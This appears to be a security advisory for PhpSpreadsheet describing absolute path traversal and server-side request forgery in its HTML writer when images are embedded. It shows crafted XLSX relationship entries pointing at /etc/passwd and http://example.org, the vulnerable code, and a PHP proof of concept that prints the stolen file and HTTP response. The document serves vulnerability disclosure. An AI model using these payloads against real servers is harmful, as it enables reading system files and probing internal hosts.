PhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery in HTML writer when embedding images is enabled

 1<a:blip cstate="print" r:link="rId1" />

 1<Relationship Id="rId1"
 2    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
 3    Target="/etc/passwd" />

 1<Relationship Id="rId1"
 2    Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
 3    Target="http://example.org" />

 1if ($this->embedImages || str_starts_with($imageData, 'zip://')) {
 2    $picture = @file_get_contents($filename);
 3    if ($picture !== false) {
 4        $imageDetails = getimagesize($filename) ?: ['mime' => ''];
 5        // base64 encode the binary data
 6        $base64 = base64_encode($picture);
 7        $imageData = 'data:' . $imageDetails['mime'] . ';base64,' . $base64;
 8    }
 9}
10 
11$html .= '<img style="position: absolute; z-index: 1; left: '
12    . $drawing->getOffsetX() . 'px; top: ' . $drawing->getOffsetY() . 'px; width: '
13    . $drawing->getWidth() . 'px; height: ' . $drawing->getHeight() . 'px;" src="'
14    . $imageData . '" alt="' . $filedesc . '" />';

 1<?php
 2 
 3require 'vendor/autoload.php';
 4 
 5$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
 6$spreadsheet = $reader->load(__DIR__ . '/book.xlsx');
 7 
 8$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet);
 9$writer->setEmbedImages(true);
10$output = $writer->generateHTMLAll();
11 
12// The below is just for demo purposes
13 
14$pattern = '/data:;base64,(?<data>[^"]+)/i';
15 
16preg_match_all($pattern, $output, $matches);
17 
18print("*** /etc/passwd content: ***\n");
19print(base64_decode($matches['data'][0]));
20 
21print("*** HTTP response content: ***\n");
22print(base64_decode($matches['data'][1]));